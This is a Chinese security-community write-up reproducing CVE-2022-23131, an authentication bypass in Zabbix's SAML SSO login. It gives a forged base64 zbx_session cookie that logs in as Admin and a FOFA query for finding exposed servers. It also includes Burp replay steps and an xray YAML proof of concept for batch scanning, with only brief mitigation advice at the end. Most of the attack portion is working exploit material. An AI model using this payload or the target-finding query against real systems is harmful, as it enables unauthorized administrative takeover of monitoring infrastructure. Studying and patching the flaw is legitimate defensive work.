CVE-2022-23131漏洞復(fù)現(xiàn) | 身份認(rèn)證繞過
本文來自“白帽子社區(qū)知識星球”
作者：B1anda0
在啟用 SAML SSO 身份驗證（非默認(rèn)）的情況下，惡意攻擊者可以修改會話數(shù)據(jù) 來實現(xiàn)身份認(rèn)證繞過。未經(jīng)身份驗證的惡意攻擊者可能會利用此問題來提升權(quán)限并獲 得對 Zabbix 前端的管理員訪問權(quán)限。?
該漏洞存在于index_sso.php文件中，由于index_sso.php文件未調(diào)用
CEncryptedCookieSession::checkSign()方法對cookie進行校驗，且客戶端的cookie可被偽造。
從index_sso.php文件中可以看出，當(dāng)偽造的cookie中存在saml_data時，獲取 username_attribute的數(shù)據(jù)，如果該用戶真實存在則會生成一個sessionid從而實現(xiàn)身份 認(rèn)證繞過。
payload：
Cookie:zbx_session=eyJzYW1sX2RhdGEiOnsidXNlcm5hbWVfYXR0cmlidXRlIjoiQWRtaW4ifSwic2Vzc2lvbmlkIjoiIiwic2lnbiI6IiJ9
受影響版本：?
zabbix 5.4.0 - 5.4.8
zabbix 6.0.0alpha1
fofa：app="ZABBIX-監(jiān)控系統(tǒng)" && body="saml"
burp抓包將請求路徑文件改為index_sso.php , Cookie替換為：
zbx_session=eyJzYW1sX2RhdGEiOnsidXNlcm5hbWVfYXR0cmlidXRlIjoiQWRtaW4ifSwic2Vzc2lvbmlkIjoiIiwic2lnbiI6IiJ9放包即可繞過身份認(rèn)證
xray批量檢測poc：
name: poc-yaml-zabbix-saml-cve-2022-23131
manual: true
transport: http
rules:
r0:
request:
cache: true
method: GET
path: /index_sso.php
headers:
Cookie:
zbx_session=eyJzYW1sX2RhdGEiOnsidXNlcm5hbWVfYXR0cmlidXRlIjoiQWRta
W4ifSwic2Vzc2lvbmlkIjoiIiwic2lnbiI6IiJ9
follow_redirects: false
expression: response.status == 302 &&
response.headers["location"] == "zabbix.php?
action=dashboard.view"
expression: r0()
detail:
author: B1anda0(https://github.com/B1anda0)
links:
- https://blog.sonarsource.com/zabbix-case-study-ofunsafe-session-storag
檢測效果：
1、禁用 SAML 身份驗證?
2、升級安全版本：
https://support.zabbix.com/browse/ZBX-20350參考鏈接：
https://blog.sonarsource.com/zabbix-case-study-of-unsafe-session-storagehttps://y4er.com/post/cve-2022-23131-zabbix-web-frontend-bypassing-the-saml-sso-authentication/
如果覺得本文不錯的話，歡迎加入知識星球，星球內(nèi)部設(shè)立了多個技術(shù)版塊，目前涵蓋“WEB安全”、“內(nèi)網(wǎng)滲透”、“CTF技術(shù)區(qū)”、“漏洞分析”、“工具分享”五大類，還可以與嘉賓大佬們接觸，在線答疑、互相探討。
▼掃碼關(guān)注白帽子社區(qū)公眾號&加入知識星球▼